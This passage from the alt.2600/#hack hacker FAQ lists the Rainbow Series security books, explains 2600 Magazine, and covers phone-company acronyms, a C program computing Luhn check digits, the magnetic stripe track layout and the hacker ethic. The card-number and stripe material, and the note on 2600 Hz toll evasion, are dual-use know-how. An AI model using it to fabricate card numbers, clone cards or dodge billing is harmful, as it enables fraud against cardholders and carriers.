    http://atalla.nonstop.compaq.com
    2304 Zanker Road
    San Jose, CA 95131
    (800)523-9981 (Voice)
    (408)435-8850 (Voice)
    (408)435-1116 (Fax)



    H-20. What are the rainbow books and how can I get them?

    Orange Book
    DoD 5200.28-STD
    Department of Defense Trusted Computer System Evaluation Criteria.

    Green Book
    CSC-STD-002-85
    Department of Defense Password Management Guideline.

    Yellow Book
    CSC-STD-003-85
    Computer Security Requirements -- Guidance for Applying the Department of Defense Trusted Computer System Evaluation Criteria in Specific Environments.

    Yellow Book
    CSC-STD-004-85
    Technical Rationale Behind CSC-STD-003-85: Computer Security Requirements. Guidance for Applying the Department of Defense Trusted Computer System Evaluation Criteria in Specific Environments.

    Tan Book
    NCSC-TG-001
    A Guide to Understanding Audit in Trusted Systems.

    Bright Blue Book
    NCSC-TG-002
    Trusted Product Evaluation - A Guide for Vendors.

    Neon Orange Book
    NCSC-TG-003
    A Guide to Understanding Discretionary Access Control in Trusted Systems.

    Teal Green Book
    NCSC-TG-004
    Glossary of Computer Security Terms.

    Red Book
    NCSC-TG-005
    Trusted Network Interpretation of the Trusted Computer System Evaluation Criteria.

    Orange Book
    NCSC-TG-006
    A Guide to Understanding Configuration Management in Trusted Systems.

    Burgundy Book
    NCSC-TG-007
    A Guide to Understanding Design Documentation in Trusted Systems.

    Dark Lavender Book
    NCSC-TG-008
    A Guide to Understanding Trusted Distribution in Trusted Systems.

    Venice Blue Book
    NCSC-TG-009
    Computer Security Subsystem Interpretation of the Trusted Computer System Evaluation Criteria.

    Aqua Book
    NCSC-TG-010
    A Guide to Understanding Security Modeling in Trusted Systems.

    Dark Red Book
    NCSC-TG-011
    Trusted Network Interpretation Environments Guideline -- Guidance for Applying the Trusted Network Interpretation.

    Pink Book
    NCSC-TG-013
    Rating Maintenance Phase -- Program Document.

    Purple Book
    NCSC-TG-014
    Guidelines for Formal Verification Systems.

    Brown Book
    NCSC-TG-015
    A Guide to Understanding Trusted Facility Management.

    Yellow-Green Book
    NCSC-TG-016
    Guidelines for Writing Trusted Facility Manuals.

    Light Blue
    NCSC-TG-017
    A Guide to Understanding Identification and Authentication in Trusted Systems.

    Light Blue Book
    NCSC-TG-018
    A Guide to Understanding Object Reuse in Trusted Systems.

    Blue Book
    NCSC-TG-019
    Trusted Product Evaluation Questionnaire.

    Gray Book
    NCSC-TG-020-A
    Trusted Unix Working Group (TRUSIX) Rationale for Selecting Access Control List Features for the Unix System.

    Lavender Book
    NCSC-TG-021
    Trusted Data Base Management System Interpretation of the Trusted Computer System Evaluation Criteria.

    Yellow Book
    NCSC-TG-022
    A Guide to Understanding Trusted Recovery in Trusted Systems.

    Bright Orange Book
    NCSC-TG-023
    A Guide to Understandng Security Testing and Test Documentation in Trusted Systems.

    Purple Book
    NCSC-TG-024 (Volume 1/4)
    A Guide to Procurement of Trusted Systems: An Introduction to Procurement Initiators on Computer Security Requirements.

    Purple Book
    NCSC-TG-024 (Volume 2/4)
    A Guide to Procurement of Trusted Systems: Language for RFP Specifications and Statements of Work - An Aid to Procurement Initiators.

    Purple Book
    NCSC-TG-024 (Volume 3/4)
    A Guide to Procurement of Trusted Systems: Computer Security Contract Data Requirements List and Data Item Description Tutorial.

    Purple Book
    NCSC-TG-024 (Volume 4/4)
    A Guide to Procurement of Trusted Systems: How to Evaluate a Bidder's Proposal Document - An Aid to Procurement Initiators and Contractors.

    Green Book
    NCSC-TG-025
    A Guide to Understanding Data Remanence in Automated Information Systems.

    Hot Peach Book
    NCSC-TG-026
    A Guide to Writing the Security Features User's Guide for Trusted Systems.

    Turquiose Book
    NCSC-TG-027
    A Guide to Understanding Information System Security Officer Responsibilities for Automated Information Systems.

    Violet Book
    NCSC-TG-028
    Assessing Controlled Access Protection.

    Blue Book
    NCSC-TG-029
    Introduction to Certification and Accreditation.

    Light Pink Book
    NCSC-TG-030
    A Guide to Understanding Covert Channel Analysis of Trusted Systems.

    C1 Technical Report-001
    Computer Viruses: Prevention, Detection, and Treatment.

    C Technical Report 79-91
    Integrity in Automated Information Systems.

    C Technical Report 39-92
    The Design and Evaluation of INFOSEC systems: The Computer Security Contributions to the Composition Discussion.

    C Technical Report 111-91
    Integrity-Oriented Control Objectives: Proposed Revisions to the TCSEC, October 1991.

    NCSC Technical Report 002
    Use of the TCSEC for Complex, Evolving, Multipolicy Systems.

    NCSC Technical Report 003
    Turning Multiple Evaluated Products Into Trusted Systems.

    NCSC Technical Report 004
    A Guide to Procurement of Single Connected Systems - Language for RFP Specifications and Statements of Work - An Aid to Procurement Initiators - Includes Complex, Evolving, and Multipolicy Systems.

    NCSC Technical Report 005 Volume 1/5
    Inference and Aggregation Issues In Secure Database Management Systems.

    NCSC Technical Report 005 Volume 2/5
    Entity and Referential Integrity Issues In Multilevel Secure Database Management.

    NCSC Technical Report 005 Volume 3/5
    Polyinstantiation Issues In Multilevel Secure Database Management Systems.

    NCSC Technical Report 005 Volume 4/5
    Auditing Issues In Secure Database Management Systems.

    NCSC Technical Report 005 Volume 5/5
    Discretionary Access Control Issues In High Assurance Secure Database Management Systems.

    NTISSAM COMPUSEC/1-87
    Advisory Memorandum on Office Automation Security Guideline.

    You can get your own free copy of any or all of the books in by writing or calling:

    INFOSEC Awareness
    ATTN: V/NISC
    National Security Agency
    9800 Savage Road
    Fort Meade, MD 20755-6755

    NSA/ISSO Service Center (NISC)
    1-800-688-6115 ext 0
    (410)854-7661

    You may request the books in print or you may request a CD-ROM that contains most of the books.

    You can also get most of the Rainbow books in electronic form at http://www.radium.ncsc.mil/tpep/library/rainbow/index.html

    If you ask to be put on the mailing list, you'll get a copy of each new book as it comes out.




    Section I -- 2600


    I-01. What is alt.2600?

    alt.2600 is a Usenet newsgroup for discussion of material relating to 2600 Magazine, the hacker quarterly. It is NOT for the Atari 2600 game machine. [email protected] created the group on Emmanuel Goldstein's recommendation. Emmanuel is the editor/publisher of 2600 Magazine. Following the barrage of postings about the Atari machine to alt.2600, an alt.atari.2600 was created to divert all of the atari traffic from alt.2600. Atari 2600 people are advised to hie over to rec.games.video.classic.



    I-02. What does "2600" mean?

    2600Hz was a tone that was used by early phone phreaks (or phreakers) in the 80's, and some currently. If the tone was sent down the line at the proper time, one could get away with all sorts of fun stuff.

    A note from Emmanuel Goldstein:

    "The Atari 2600 has NOTHING to do with blue boxes or telephones or the 2600 hertz tone. The 2600 hertz tone was simply the first step towards exploring the network. If you were successful at getting a toll call to drop, then billing would stop at that point but there would be billing for the number already dialed up until the point of seizure. 800 numbers and long distance information were both free in the past and records of who called what were either non-existent or very obscure with regards to these numbers. This, naturally, made them more popular than numbers that showed up on a bill, even if it was only for a minute. Today, many 800 numbers go overseas, which provides a quick and free way into another country's phone system
    which may be more open for exploration."



    I-03. Are there on-line versions of 2600 available?

    No.



    I-04. I can't find 2600 at any bookstores. What can I do?

    Subscribe. Or, let 2600 know via the subscription address that you think 2600 should be in the bookstore. Be sure to include the bookstores name and address.



    I-05. Why does 2600 cost more to subscribe to than to buy at a newsstand?

    A note from Emmanuel Goldstein:

    We've been selling 2600 at the same newsstand price ($4) since 1988 and we hope to keep it at that price for as long as we can get away with it. At the same time, $21 is about the right price to cover subscriber costs, including postage and record keeping, etc. People who subscribe don't have to worry about finding an issue someplace, they tend to get issues several weeks before the newsstands get them, and they can take out free ads in the 2600 Marketplace.

    This is not uncommon in the publishing industry. The NY Times, for example, costs $156.50 at the newsstands, and $234.75 delivered to your door.

    Editors Note: The newstand price is now $4.50.





    Section J -- Miscellaneous




    J-01. What does XXX stand for?

    TLA Three Letter Acronym
    ACL Access Control List
    PIN Personal Identification Number
    TCB Trusted Computing Base

    ALRU Automatic Line Record Update
    AN Associated Number
    ARSB Automated Repair Service Bureau
    ATH Abbreviated Trouble History
    BOC Bell Operating Company
    BOR Basic Output Report
    BOSS Business Office Servicing System
    CA Cable
    COE Central Office Equipment
    COSMOS Computer System for Main Frame Operations
    CMC Construction Maintenance Center
    CNID Calling Number IDentification
    CO Central Office
    COCOT Customer Owned Coin Operated Telephone
    CRSAB Centralized Repair Service Answering Bureau
    DID Direct Inbound Dialing
    DDD Direct Distance Dialing
    ECC Enter Cable Change
    LD Long Distance
    LMOS Loop Maintenance Operations System
    MLT Mechanized Loop Testing
    NPA Numbering Plan Area
    PBX Private Branch Exchange
    POTS Plain Old Telephone Service
    RBOC Regional Bell Operating Company
    RSB Repair Service Bureau
    SS Special Service
    TAS Telephone Answering Service
    TH Trouble History
    TREAT Trouble Report Evaluation and Analysis Tool

    LOD Legion of Doom
    HFC Hell Fire Club
    TNO The New Order



    J-02. How do I determine if I have a valid credit card number?

    Credit cards use the Luhn Check Digit Algorithm. The main purpose of this algorithm is to catch data entry errors, but it does double duty here as a weak security tool.

    For a card with an even number of digits, double every odd numbered digit (1st digit, 3rd digit, 5th digit, etc...) and subtract 9 if the product is greater than 9. Add up all the even digits (2nd digit, 4th digit, 6th digit, etc...) as well as the doubled-odd digits, and the result must be a multiple of 10 or it's not a valid card. If the card has an odd number of digits, perform the same addition doubling the even numbered digits instead.

    This program, presented in C source code form, will perform this math for you. Feed it all but the last digit of your credit card number, and it will give you the last digit. If it gives you a last digit different from the one you have, you have an invalid credit card number.

    #include        <stdio.h>
    
    /*
     * Return last digit of a bank card (e.g. credit card)
     * Receives all the digits, but the last one as input
     * By Diomidis Spinellis <[email protected]>
     */
    int bank (u)
    char *u;
            {
            register i, s = 0;
            int l, t;
    
            l = strlen(u);
            for(i = 0; i < l ; i++)
                    {
                    t = (u[l - i - 1] - '0') * (1 + ((i + 1) % 2));
                    s += t < 10 ? t : t - 9;
                    }
            return 10 - s % 10;
            }
    	
    void main (argc, argv)
    	
    int  argc;
    char **argv;
            {
            while (--argc)
                    printf ("%d\n", bank (*++argv));
            }
    

    J-03. What is the layout of data on magnetic stripe cards?

    This FAQ answer was written largely with information supplied by wea$el:

    Data is laid out on a standard magnetic car in three tracks. A card may have any of these tracks, or a combination of these tracks.

    Track 1 was the first track standardized. It was developed by the International Air Transportation Association (IATA) and is still reserved for their use. It is 210bpi with room for 79 7-bit characters.

    Track 1 is encoded with a 7-bit scheme (6 data bits plus one parity bit) that's based on ASCII. If your reader does not perform the ASCII conversion, all you have to do is add 0x20 to each byte to turn it into ASCII (there are no "control" characters). The seventh bit is an odd parity bit at the end of each byte.


    Track 1 Fields
    Start sentinel 1 byte (the % character)
    Format code 1 byte alpha (The standard for financial institutions
    specifies format code is "B")
    Primary Account number Up to 19 characters. American Express inserts space characters in here in the same places the digits are
    broken up on the face of your card.
    Separator 1 byte (the ^ character)
    Country code 3 bytes, if used. (The United States is 840) This
    is only used if the account number begins with "59."
    Surname  
    Surname separator (the / character)
    First name or initial  
    Space (when followed by more data)
    Middle name or initial  
    Period (when followed by a title)
    Title (when used)
    Separator 1 byte (^)
    Expiration date or separator 4 bytes (YYMM) or the one byte separator if a non-expiring card.
    Discretionary
    data
    Optional data can be encoded here by the issuer.
    End Sentinel 1 byte (the ? character)
    Longitudinal Redundancy Check (LRC) 1 byte. The LRC is made up of parity bits for each
    "row" of bytes, making the total even. That means
    that the total of all the bit 1s of each byte has
    to come out to an even number. Same for bit 2,
    etc. The LRC's parity bit is not the sum of the
    parity bits of the message, but only the parity bit
    for the LRC character itself. (It's odd, just like
    any other single byte's parity bit.)


    Track 2 was developed by the American Bankers Association (ABA) for on-line financial transactions. It is 75bpi with room for 40 5-bit numeric characters.

    Track 2 is encoded with a 5-bit scheme (4 data bits plus one parity bit.) To convert this data into ASCII, add 0x30 to each byte.


    Track 2 Fields
    Start sentinel 1 byte (0x0B, or a ; in ASCII)
    Primary Account Number Up to 19 bytes
    Separator 1 byte (0x0D, or an = in ASCII)
    Country code 3 bytes, if used. (The United States is 840) This
    is only used if the account number begins with "59."
    Expiration date or separator 4 bytes (YYMM) or the one byte separator if a non-expiring card
    Discretionary data Optional data can be encoded here by the issuer.
    End Sentinel 1 byte (0x0F, or a ? in ASCII)
    Longitudinal Redundancy Check (LRC) 1 byte.


    Track 3 is also used for financial transactions. The difference is its read/write ability. It is 210bpi with room for 107 numeric digits. Track 3 is used to store the enciphered PIN, country code, currency units, amount authorized, subsidiary account information, and other account restrictions.

    Track 3 has the same properties as track 1 (start and end sentinels and an LRC byte), except that there is no standard for the data content or format. Track 3 is not currently used by any national bank card issuer.

    In those rare systems where the PIN is stored on the card, this is the track where it is stored.


    For more information of this topic, read the ANSI/ISO 7811/1-5 standard. This document is available from the American Bankers Association.

    Other standards documents covering related topics include:

  • ANSI X3.92 Data Encryption Algorithm (DEA)
  • ANSI X3.106 Modems of DEA Operation
  • ANSI X4.16 American National Standard for financial services, financial transaction cards, magnetic stripe encoding
  • ANSI X9.8 Personal Identification Number (PIN) Management and Security
  • ANSI X9.19 Financial Institution Retail Message Authentication (MAC)
  • ISO 7810
  • ISO 7811
  • ISO 7812
  • ISO 8583 Bank card originated messages; Interchange message specifications; Content for financial transactions.
  • ISO 8731-1 Banking: Approved algorithms for message authentication
    Part 1 - DEA
    Part 2 - Message Authentication algorithms
  • ISO 7816 Identification cards, Integrated circuit(s) with contacts
    Part 1 - Physical Characteristics
    Part 2 - Dimensions and locations of the contacts
    Part 3 - Electronic signals and transmission protocols


  • J-04. What are the ethics of hacking?

    An excerpt from Hackers: Heroes of the Computer Revolution by Steven Levy

    Access to computers -- and anything which might teach you something about the way the world works -- should be unlimited and total. Always yield to the Hands-On imperative.

    All information should be free.

    Mistrust Authority. Promote Decentralization.

    Hackers should be judged by their hacking, not bogus criteria such as degrees, age, race, or position.

    You can create art and beauty on a computer.

    Computers can change your life for the better.



    J-05. Why did you write this FAQ?

    Hacking is an interest of mine. Years ago, I would often communicate on IRC with other people who were also interested in hacking and we would discuss the topics covered in this FAQ.

    Over time, I grew tired of having the same discussions again and again. I wrote down these questions and answers with the hope that I would never again have to explain the basics of hacking and that our conversation would move on to more advanced and interesting topics.

    In the beginning, this was the #hack FAQ. Later, Tomes suggested that we adopt it as the alt.2600 FAQ also.

    I have enjoyed writing this FAQ, and I hope you enjoy it also.



    J-06. Where can I get a copy of the alt.2600/#hack FAQ?

    Get it on the World Wide Web at http://www.hackfaq.org







    EOT